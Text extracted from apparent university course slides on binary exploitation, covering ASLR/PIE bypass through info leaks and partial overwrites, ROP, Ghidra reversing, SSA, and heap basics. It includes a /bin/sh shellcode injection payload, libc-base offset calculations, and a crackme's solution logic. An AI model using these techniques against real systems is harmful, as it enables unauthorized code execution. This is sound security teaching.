RPISEC - 02/27/2019
10/12/2021 ASLR 42
Partial Overwrites
RPISEC - 02/27/2019
10/12/2021 ASLR 43
Partial Overwrites
• If we look at Pie exercise
• return address of do_function:
Run #1: 0x556C8D4B2A77
Run #2: 0x55B3676FAA77
Run #3: 0x55714C27CA77
Run #4: 0x555C733BFA77
RPISEC - 02/27/2019
10/12/2021 ASLR 44
Partial Overwrites
• If we look at Pie exercise
• return address of do_function:
Run #1: 0x556C8D4B2A77
Run #2: 0x55B3676FAA77
Run #3: 0x55714C27CA77
Run #4: 0x555C733BFA77
RPISEC - 02/27/2019
10/12/2021 ASLR 45
But Look ...
do_system RA get_shell
0x556090ed4a77 --> 0x556090ed4a7a
RPISEC - 02/27/2019
10/12/2021 ASLR 46
More
0x5562c3632a10 Green always the same.
0x5571a38e2a10 Last three nibbles always
the same
0x55714c27ca10
0x555c733bfa10
RPISEC - 02/27/2019
10/12/2021 ASLR 47
Now them good Leaks
Yum
RPISEC - 02/27/2019
10/12/2021 ASLR 48
Information Leaks
• Leak data from runtime to user
unintentionally
• Sometimes information leaks can help us find
addresses that we need
RPISEC - 02/27/2019
10/12/2021 ASLR 49
Blatant Leak
------------------------------------------------------------
--[ Lecture 7 - Blatant Information Leak
------------------------------------------------------------
------------- /!\ NEW STACKFRAME ALLOCATED /!\ -------------
libc strlen(...) @ 0x7f2e96ea8720
RPISEC - 02/27/2019
10/12/2021 ASLR 50
Blatant Leak
------------------------------------------------------------
--[ Lecture 7 - Blatant Information Leak
------------------------------------------------------------
------------- /!\ NEW STACKFRAME ALLOCATED /!\ -------------
libc strlen(...) @ 0x7f2e96ea8720
RPISEC - 02/27/2019
10/12/2021 ASLR 51
LIBC base
• 0x7f2e96e1d000-0x7f2e96fdd000 r-x libc.so.6
• 0x7f2e96ea8720-0x7f2e96e1d000=0x8b720
RPISEC - 02/27/2019
10/12/2021 ASLR 52
Get system
==== EXECUTION FINISHED ====
wdb> print system
$1 = 0x45390
Breakpoint 0: 0x55a2dda689d1, do_function+95
wdb> print system
$2 = 0x7f4d88780390
wdb> print 0x7f4d88780390 - 0x45390
$3 = 0x7f4d8873b000
• To get libc base, subtract fixed offset from leaked system
RPISEC address
- 02/27/2019
10/12/2021 ASLR 53
Defeating ASLR
• Instead of using absolute address:
– Partial overrides
– Find leaks
∘ A Single Leak Required
– Use relative address (what I called fixed offset)
RPISEC - 02/27/2019
10/12/2021 ASLR 54
Defeating ASLR
• Instead of using absolute address:
– Partial overrides
– find leaks
∘ A Single Leak Required
RPISEC - 02/27/2019
10/12/2021 ASLR 55
Subtle Leak
------------------------------------------------------
--[ Lecture 7 - Subtle Information Leak
------------------------------------------------------
------- /!\ NEW STACKFRAME ALLOCATED /!\ -------
Enter data: AAAAAAAA
Your input was: AAAAAAAA '▒7
Enter data:
...
RPISEC - 02/27/2019
10/12/2021 ASLR 56
Subtle Leak
------------------------------------------------------
--[ Lecture 7 - Subtle Information Leak
------------------------------------------------------
------- /!\ NEW STACKFRAME ALLOCATED /!\ -------
Enter data: AAAAAAAA
Your input was: AAAAAAAA '▒7
Enter data:
...
41 41 41 41 41 41 41 41 20 57 3b a8 4e 7f 0a
RPISEC - 02/27/2019
10/12/2021 ASLR 57
Subtle Leak
------------------------------------------------------
--[ Lecture 7 - Subtle Information Leak
------------------------------------------------------
------- /!\ NEW STACKFRAME ALLOCATED /!\ -------
Enter data: AAAAAAAA
Your input was: AAAAAAAA '▒7
Enter data:
...
41 41 41 41 41 41 41 41 20 57 3b a8 4e 7f 0a
Pointer: 0x7f4ea83b5720 (u64 helpful)
RPISEC - 02/27/2019
10/12/2021 ASLR 58
Subtle Leak on Wargames
RPISEC - 02/27/2019
10/12/2021 ASLR 59
Questions
???
RPISEC - 02/27/2019
10/12/2021 ASLR 60
Lecture Selanjutnya
Recap and
Tools for Binary Exploitation
Slides by RPISEC and Ana Milanova
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 1
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/
• Chapter 7 (ASLR) due today, Oct 19
• Project 1 is “out” today and it is due on Friday,
Oct 29
• Resubmit of Ch. 2-7 is due on Friday, Oct 29
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 2
Schedule
• I will update Rainbow Grades with Ch. 6 & Ch. 7
after catch-up week next week
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 3
Schedule
• This week is Project week
• Next week is Catch-up week
• Lectures will cover miscellaneous topics of
interest
– We’ll discuss approaches and tricks
– We’ll talk about tools for binary exploitation
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 6
Recap
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 7
x86-64(!) Crash Course
Instructions: op dst, src
mov rax, 0x11 <-> (rax=0x11) <-> 48 c7 c0 11 00 00 00
add rbx, 0x11 <-> (rbx+=0x11) <-> 48 83 c3 11
sub rcx, rdx <-> (rcx-=rdx) <-> 48 01 d1
xor rcx, 0x12 <-> (rcx^=0x12) <-> 48 83 f1 12
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 8
x86 Crash Course
Can operate on specific part of register
bits x86 mnemonic C type
long
64 QWORD
rax long
ax
16 WORD short
same for rbx, rcx, rdx
ah al
8 BYTE char
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 9
Memory
Read: mov rax, QWORD PTR [rbx] (rax=*rbx)
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 10
Special Registers
There are some registers used for important things
rip - Instruction Pointer
rflags - flags used for conditional operations
rsp - Stack Pointer
rbp - Base Pointer
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 11
Conditional Jumps
• cmp dest, src
• jz LOC
• Jump to LOC if ZF = 1 (zero flag)
• jnz LOC
• Jump to LOC if ZF = 0
• jg LOC
• Jump to LOC if the result of a comparison cmp dest, src (the
comparison must come before jg) is dest > src
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 12
Disassembly and CFGs
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 13
CFG
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 14
No DEP Yet.
Injecting Code (as Stream)
Lower Memory -
Start of
typedef struct { my_str.data
char[48] data; -
void (*fp)(); -
} some_struct;
-
int main() { -
some_struct my_str; End of
- my_str.data
unsigned long i,j;
0x00
my_str.fp
my_str.fp = &func;
0x00
gets(my_str.data);
0x00 i,j = 0
...
my_str.fp();
0x7fff01020304 Saved RBP
} Higher Memory 0x... Return Address
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 15
Injecting Code (as Stream)
-
shellcode = -
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e -
\x2f\x2f\x73\x68\x56\x53\x54\x5f -
-
\x6a\x3b\x58\x31\xd2\x0f\x05"
-
p.sendline(shellcode + 0x00
0x00
‘A’*(48-len(shellcode)) + 0x00
p64(0x7fffffffed10)) 0x7fff01020304
0x...
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 16
Injecting Code (as Stream)
-
shellcode = -
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e -
\x2f\x2f\x73\x68\x56\x53\x54\x5f -
-
\x6a\x3b\x58\x31\xd2\x0f\x05"
-
p.sendline(shellcode + 0x00
0x00
‘A’*(48-len(shellcode)) + 0x00
p64(0x401123) + 0x7fff01020304
0x...
‘A’*24 + p64(0x7fffffffed10) )
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 17
Conversions
• p64(n : int): turns an integer n into 8 byte sequence
E.g., p64(0x7fffffffed10) ->
\x10\xed\xff\xff\xff\x7f\x00\x00
• u64(s : byte seq): turns 8-byte sequence s into an int
E.g., u64(\x10\xed\xff\xff\xff\x7f\x00\x00) ->
0x7fffffffed10 = 140737488350480
• int(s) parses a string s of decimal digits into an integer
• int(s,16) parses a string s of hex digits into an integer
E.g., int(’7fffffffed10’,16) -> 140737488350480
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 18
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?
o u t
g e t
e t ’s ’s
L e 9 0
o f t h
RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 19
DEP/NX/W^X (This is always on unless you’re running on a potato)
No more shellcode!
RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 20
Runtime Memory
.rodata
• Program Code (Read and Execute) .data
– .text
– libraries
• User Data (Read and Write) [heap]
– stack
– heap
libraries
(libc…)
[stack]
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 21
Return Oriented Programming (ROP)
• Code reuse
– can’t use our own code
– what if we string together existing code to do what we want, a few
instructions at a time
– these are called gadgets
– these are small bits of code ending in a ret
add rax, 0x4
ret
RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 22
Return Oriented Programming (ROP)
0x455e55
syscall
RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 23
We Draw Gadgets from libc!
What if the gadgets aren’t good enough (e.g. no syscall)
- notice we gave you a statically linked binary
RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 24
Stack Pivoting
• We need more than 4 gadget spaces Now RSP is here and we
have more space to ROP
• We can put more in another space
• Use pop rsp ; ret gadget
• Or leave ; ret gadget
ROP 1
Data
pop rsp
Non Controlled by us
RPISEC - 2/27/2019
10/19/2021 ToolsASMR
for MBE 25
ASLR
• Address - Space - Layout - Randomization
• A runtime mitigation used to ensure that address
ranges for important memory segments are
random for every execution
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 26
ASLR
• ASLR is enabled on the system
• First level of ASLR is sometimes referred to as
CAKE where:
– System-wide Address Space Layout Randomization (ASLR)
enabled, the stack, heap, and libraries are placed at
different base address, every time you launch the binary
– Binary itself has not been compiled to take advantage of
such mitigations, it remains at fixed location across
launches
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 27
PIE
• Second level of ASLR is referred to (in Wargames) as PIE
• Position Independent Executable
• A binary compiled such that its base address is relocated
every time you launch the binary
• Enabled with `-pie -fPIE` option
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 28
Defeating ASLR and PIE: Leaks
• Partial overrides
• Info leaks leak data from runtime to the user
unintentionally
• Info leaks can help find base addresses!
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 29
Defeating ASLR and PIE
• Step 1: Find an info leak
– printf(“libc exit function @ %p\n” &exit): … 0x7f2f8a497030
– libc_base = 0x7f2f8a497030-0x3a030
(0x3a030 is the fixed offset, i.e., relative address, of exit in libc)
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 32
Discussion
• Your approach?
• Tricks?
– Inspect stack around return address
– leave ; ret gadget
– ROP chain from function pointer
– return address of main leaks libc_base!
– Other?
• Tools?
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 33
Discussion
• Advice?
– Get a good hold of conversions!
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 34
Questions
???
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 35
Tools for Exploitation
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 36
Tools for Exploitation
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 37
Ghidra: https://ghidra-sre.org/
• An open-source reverse engineering tool from the NSA
• Functionality similar to Binary Ninja and IDA
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 38
Ghidra Basics
• Ghidra Project - a collection of binaries and
libraries under analysis
• Ghidra Program - an individual binary under
analysis
• Ghidra Tool - an analysis tool
– Code Browser
• Ghidra Script - a “plugin” we write on top of
Ghidra API, to check for overflows, leaks, other
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 39
Ghidra Basics
• A reverse engineering/decompilation tool
– Builds high-level program representation from
x86 binaries
• A program analysis framework
– Exposes API into program representation
• All the “perks” of program analysis frameworks
– API is huge!
– Not documented!
– Buggy!
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 40
Ghidra Example
CRACKME
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 41
crackme, Ghidra Decompiled
local_1c = 0xf;
sVar2 = _strlen(buf);
if (sVar2 == 0xf) {
local_3c = 0;
pcStack24 = buf;
while (local_3c < local_1c) {
local_38[local_3c] = pcStack24[local_3c] ^ 0x21;
local_3c = local_3c + 1;
}
local_c = _strcmp("ycbwkgyucbgfajd",(char *)local_38);
}
else {
_printf("String of incorrect length! Returning...\n");
local_c = 0;
}
RPISEC - 02/27/2019
10/19/2021
return (int)local_c; ToolsASLR
for MBE 42
After Copy Propagation and
Some Obvious Renaming
len = _strlen(buf);
if (len == 0xf) {
i = 0;
while ( i < 0xf) {
local_38[ i ] = buf[ i ] ^ 0x21;
i = i + 1;
}
local_c = _strcmp("ycbwkgyucbgfajd",(char *)local_38);
}
else {
_printf("String of incorrect length! Returning...\n");
local_c = 0;
}
return (int)local_c;
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 43
Program Analysis Basics
• Intermediate Representations
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 44
Intermediate Representation
(IR)
• Compiler (roughly):
3-addr Machine
Source AST Code ASM
Code
• Ghidra is a Decompiler:
Machine 3-addr
Code ... Code??? ... Source???
(x86) (PCode)
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 45
Three-address Code IR
…
sum = 0
do 10 i= 1, n
10 sum = sum + a[i]*a[i]
…
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 46
Three-address Code IR
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 47
Control Flow Graph (CFG)
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 48
fill_bowl Example
void fill_bowl(char* ingredients, char* bowl, int bowl_size)
{
printf("How many ingredients do you want to put in the bowl (max
%u)\n",(bowl_size-1));
int number;
scanf("%u", &number);
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 51
fill_bowl, IR and CFG
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 52
Ghidra’s Pcode
• Pcode is, essentially, a 3-address code IR
– Reversed from binary, much lower level
• Varnode - a “variable”
– a register, stack location, constant, other
– E.g., (stack, 0xffffffffffffffe0, 4)
• PcodeOp - a 3-address statement
– E.g., (register, 0x0, 4) INT_ADD
(stack, 0xffffffffffffffdc, 4) ,
(const, 0x1, 4)
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 53
Ghidra’s Pcode
• Examples due to Alex Bulazel:
https://www.riverloopsecurity.com/blog/2019/05/pcode/
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 56
Dataflow Analysis
• Dataflow analysis collects information about
program execution without running the program
– A form of static analysis
• A powerful framework
– Lots of nice theory behind
– Many different kinds of analysis
• Def-use Chains is the most basic of dataflow
analyses
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 57
Def-use Chains
• Definition: a statement that may change the
value of a variable (e.g., x=y+z is a definition of
x)
• Use: appearance of a variable as an operand of a
3-address statement (e.g., y=x+4 is a use of x)
• A definition (x,k) reaches statement n if there
is a path from k to n free of a definition of x
Note: (x,k) denotes definition of x at stmt k
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 58
Def-use Chains
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 59
Examples of Def-use Chains
• Def-use chains in sum_squares example?
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 60
Static Single Assignment (SSA
Form)
• Multiple definitions for a given use
• E.g., def-use chains for local_24: (5,6) and (9,6)
• That’s inconvenient!
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 61
SSA Form
• SSA form transforms the 3-address code of a
program so that each variable is defined exactly
once (statically)
• Standard and universally applied technique in
static analysis
• Cytron et al. “Efficiently Computing Static Single
Assignment Form and the Control Dependence
Graph”, TOPLAS 1991
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 62
SSA Form
• Easy case
x = INPUT; x1 = INPUT;
y = x + 10; becomes y = x1 + 10;
x = x + y; x2 = x1 + y
The 2 definitions of x become definitions of x1
and x2 respectively
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 63
Phi-nodes
• If-then-else
if (a>0) if (a>0)
x = 5; x1 = 5;
else becomes else
x = 10; x2 = 10;
x3 = phi(x1,x2)
Phi-node introduces a (static) definition of x, x3.
If control took True arm, then x3 is x1, other-
wise it is x2.
RPISEC - 02/27/2019
10/19/2021 ASLR
Tools for MBE 64
Phi-nodes
• Loops
x = 0; x1 = 0;
x2 = phi(x1,x3)
while (x<=n) while (x2<=n)
x = x + 1; x3 = x2 + 1;
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 66
Putting it all Together in Ghidra
• Things are pretty nice and straightforward in
theory
• Not so easy in practice
• My favorite quote:
“The difference between theory and practice is
always twice bigger in practice than it is in
theory”
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 67
Putting it all Together in Ghidra
• Essential classes and methods:
– PcodeOp, Varnode, PcodeBlockBasic
– var.getDef() retrieves definition of var
• Phi-nodes: MULTIEQUAL
(stack, 0xffffffffffffffe0, 4)
MULTIEQUAL
(stack, 0xffffffffffffffe0, 4) ,
(register, 0x0, 4)
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 68
Ghidra Example
VC Script
RPISEC - 02/27/2019
10/19/2021
Demo
ToolsASLR
for MBE 69
Questions
???
My slideshow is truly the longest!
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 70
Lecture Selanjutnya
Tools for Binary Exploitation,
part 2
Slides by Ana Milanova
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 1
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 2
Schedule
• I will update Rainbow Grades with Ch. 6 & Ch. 7
after catch-up week next week
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 3
Schedule
• This week is Project and Catch-up week
• Lectures will cover miscellaneous topics of
interest
– We’ll discuss approaches and tricks
– We’ll talk about tools for binary exploitation
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 4
Agenda
1. Tools for binary exploitation (no Wargames in
the real world...)
a. Reverse engineering with Ghidra
b. Program analysis basics
c. Program analysis with Ghidra: Ghidra scripts
2. Discussion and catch-up
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 5
Project 1
wdb> checksec
[*] '/bin/p1_iot'
Arch: x86_64
RELRO: Full RELRO
Stack: Stack Cookie Detected
NX: NX Enabled
ASLR: Enabled
PIE: Enabled
HAVE FUN!
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 6
Tools for Exploitation
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 7
Ghidra: https://ghidra-sre.org/
• An open-source reverse engineering tool from the NSA
• Functionality similar to Binary Ninja and IDA
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 8
Ghidra Basics
• Ghidra Project - a collection of binaries and
libraries under analysis
• Ghidra Program - an individual binary under
analysis
• Ghidra Tool - an analysis tool
– Code Browser
• Ghidra Script - a “plugin” we write on top of
Ghidra API, detect overflows, leaks, other
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 9
Ghidra Basics
• A reverse engineering/decompilation tool
– Builds high-level program representation from
x86 binaries
• A program analysis framework
– Exposes API into program representation
• All the “perks” of program analysis frameworks
– API is huge!
– Not documented!
– Buggy!
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 10
Ghidra Example
CRACKME
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 11
crackme, Ghidra Decompiled
local_1c = 0xf;
sVar2 = _strlen(buf);
if (sVar2 == 0xf) {
local_3c = 0;
pcStack24 = buf;
while (local_3c < local_1c) {
local_38[local_3c] = pcStack24[local_3c] ^ 0x21;
local_3c = local_3c + 1;
}
local_c = _strcmp("ycbwkgyucbgfajd",(char *)local_38);
}
else {
_printf("String of incorrect length! Returning...\n");
local_c = 0;
}
RPISEC - 02/27/2019
10/26/2021
return (int)local_c; ToolsASLR
for MBE 12
After Copy Propagation and
Some Obvious Renaming
len = _strlen(buf);
if (len == 0xf) {
i = 0;
while ( i < 0xf) {
local_38[ i ] = buf[ i ] ^ 0x21;
i = i + 1;
}
local_c = _strcmp("ycbwkgyucbgfajd",(char *)local_38);
}
else {
_printf("String of incorrect length! Returning...\n");
local_c = 0;
}
return (int)local_c;
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 13
More Reversing Examples
• gcc -o crackme crackme.c
• gcc -o 05_level_3 05_level_3.c
• What about a random sequence of instructions?
– Compile a skeleton try.c:
∘ gcc -S -masm=intel try.c
∘ Creates try.s file in the “right” asm format
– Paste your Intel syntax sequence into try.s
– Compile the asm file
∘ gcc -c -o try try.s
RPISEC ∘ Feed try binaryTools
- 02/27/2019
10/26/2021
into
ASLR Ghidra
for MBE 14
Ghidra Example
REAL CRACKME
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 15
Program Analysis Basics
• Intermediate Representations
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 16
Intermediate Representation
(IR)
• Compiler (roughly):
3-addr Machine
Source AST Code ASM
Code
• Ghidra is a Decompiler:
Machine 3-addr
Code ... Code??? ... Source???
(x86) (PCode)
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 17
Three-address Code IR
…
sum = 0
do 10 i= 1, n
10 sum = sum + a[i]*a[i]
…
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 18
Three-address Code IR
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 19
Control Flow Graph (CFG)
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 20
fill_bowl Example
void fill_bowl(char* ingredients, char* bowl, int bowl_size)
{
printf("How many ingredients do you want to put in the bowl (max
%u)\n",(bowl_size-1));
int number;
scanf("%u", &number);
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 23
fill_bowl, IR and CFG
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 24
Ghidra’s Pcode
• Pcode is, essentially, a 3-address code IR
– Reversed from binary, much lower level
• Varnode - a “variable”
– a register, stack location, constant, other
– E.g., (stack, 0xffffffffffffffe0, 4)
• PcodeOp - a 3-address statement
– E.g., (register, 0x0, 4) INT_ADD
(stack, 0xffffffffffffffdc, 4) ,
(const, 0x1, 4)
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 25
Ghidra’s Pcode
• Examples due to Alex Bulazel:
https://www.riverloopsecurity.com/blog/2019/05/pcode/
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 27
Dataflow Analysis
• Dataflow analysis collects information about
program execution without running the program
– A form of static analysis
• A powerful framework
– Lots of nice theory behind
– Many different kinds of analysis
• Def-use Chains is the most basic of dataflow
analyses
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 28
Def-use Chains
• Definition: a statement that may change the
value of a variable (e.g., x=y+z is a definition of
x)
• Use: appearance of a variable as an operand of a
3-address statement (e.g., y=x+4 is a use of x)
• A definition (x,k) reaches statement n if there
is a path from k to n free of a definition of x
Note: (x,k) denotes definition of x at stmt k
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 29
Def-use Chains
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 30
Examples of Def-use Chains
• Def-use chains in sum_squares example?
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 31
Static Single Assignment (SSA
Form)
• Multiple definitions for a given use
• E.g., def-use chains for local_24: (5,6) and (9,6)
• That’s inconvenient!
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 32
SSA Form
• SSA form transforms the 3-address code of a
program so that each variable is defined exactly
once (statically)
• Standard and universally applied technique in
static analysis
• Cytron et al. “Efficiently Computing Static Single
Assignment Form and the Control Dependence
Graph”, TOPLAS 1991
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 33
SSA Form
• Easy case
x = INPUT; x1 = INPUT;
y = x + 10; becomes y = x1 + 10;
x = x + y; x2 = x1 + y
The 2 definitions of x become definitions of x1
and x2 respectively
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 34
Phi-nodes
• If-then-else
if (a>0) if (a>0)
x = 5; x1 = 5;
else becomes else
x = 10; x2 = 10;
x3 = phi(x1,x2)
Phi-node introduces a (static) definition of x, x3.
If control took True arm, then x3 is x1, other-
wise it is x2.
RPISEC - 02/27/2019
10/26/2021 ASLR
Tools for MBE 35
Phi-nodes
• Loops
x = 0; x1 = 0;
x2 = phi(x1,x3)
while (x<=n) while (x2<=n)
x = x + 1; x3 = x2 + 1;
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 37
Putting it all Together in Ghidra
• Things are pretty nice and straightforward in
theory
• Not so easy in practice
• My favorite quote:
“The difference between theory and practice is
always twice bigger in practice than it is in
theory”
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 38
Putting it all Together in Ghidra
• Essential classes and methods:
– PcodeOp, Varnode, PcodeBlockBasic
– var.getDef() retrieves definition of var
• Phi-nodes: MULTIEQUAL
(stack, 0xffffffffffffffe0, 4)
MULTIEQUAL
(stack, 0xffffffffffffffe0, 4) ,
(register, 0x0, 4)
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 39
Ghidra Example
VC Script
RPISEC - 02/27/2019
10/26/2021
Demo
ToolsASLR
for MBE 40
Questions
???
My slideshow is truly the longest!
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 41
Lecture Selanjutnya
Heap Exploitation
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 1
Announcement
• RPISEC Hack Night is back!
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 2
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 3
Agenda
1. Recap
a. Memory corruption and shellcoding
b. DEP and ROP
c. ASLR and PIE
2. Heap vulnerabilities
a. Heap
b. Heap overflows
c. Use-after-free (UAF)
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 4
Recap
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 5
DEP/NX/W^X (This is always on unless you’re running on a potato)
Attack: Shellcode
RPISEC - 2/27/2019
10/21/2019
11/02/2021 ASMR
ToolsHeap
for MBE 6
Runtime Memory
.rodata
• Program Code (Read and Execute) .data
– .text
– libraries
• User Data (Read and Write) [heap]
– stack
– heap
– .data
libraries
(libc…)
[stack]
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 7
Return Oriented Programming (ROP)
• Attack: ROP
• Code reuse
– String together existing code to do what we want, a few instructions
at a time
– Gadgets: small bits of code ending in a ret
– Gadgets in user binary add rax, 0x4
– Gadgets in libraries, also, functions system, gets ret
RPISEC - 2/27/2019
10/21/2019
11/02/2021 ASMR
ToolsHeap
for MBE 8
Return Oriented Programming (ROP)
0x455e55
syscall
RPISEC - 2/27/2019
10/21/2019
11/02/2021 ASMR
ToolsHeap
for MBE 9
ASLR
• Defense: Address Space Layout Randomization
• A runtime mitigation used to ensure that address
ranges for important memory segments are
random for every execution
– CAKE: stack, heap, and libraries are placed at different
base address every time you launch the binary; Binary
itself remains at fixed location across launches
– PIE: binary compiled such that its base address is
relocated every time you launch the binary
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 10
Defeating ASLR and PIE: Leaks
• We need an additional vulnerability!
• Info leaks leak data from runtime to the user
unintentionally
• Info leaks can help find base addresses randomized by
ASLR and PIE
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 11
Defeating ASLR and PIE
• Step 1: Find an info leak
– printf(“libc exit function @ %p\n” &exit): … 0x7f2f8a497030
– libc_base = 0x7f2f8a497030-0x3a030
(0x3a030 is the constant offset, i.e., relative address, of exit in libc)
– printf(“do_func function @ %p\n” &do_function): … 0x55b436ced972
– user_base = 0x55b436ced972-0x1972
(0x1972 is the constant offset of do_funcion in binary)
• Step 2: Find space we control
• Step 3: Build ropchain (but first, check if system is
available!)
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 12
Heap
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 13
Heap
• That weird thing that we use with malloc or ...
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 14
Runtime Memory
.rodata
• Static memory .data
– .rodata, .data, other
– Lifetime of data allocated in static memory?
[heap]
• Stack memory
– [stack], grows up, addresses grow down
– Lifetime of data allocated on the stack?
libraries
(libc…)
• Heap memory
– [heap], grows down, addresses grow up
[stack]
– Lifetime?
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 15
Heap vs. Stack
Heap Stack
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 16
Heap vs. Stack
Stack:
• char buffer[32] = {};
Heap:
• char * buffer = malloc(32);
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 17
Java vs. C++
A a;
a.m();
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 18
Java vs. C++
• In C++ object creation may be implicit
– C++ requires that an appropriate constructor is called
for every object implicitly created on the stack, e.g.,
foo a;
– foo a; compiler calls 0-argument constructor
foo::foo()
– foo a(10,’x’); compiler calls 2-argument
constructor foo::foo(int,char)
• In Java, object creation is explicit: foo a =
new foo()
RPISEC - 03/13/2019
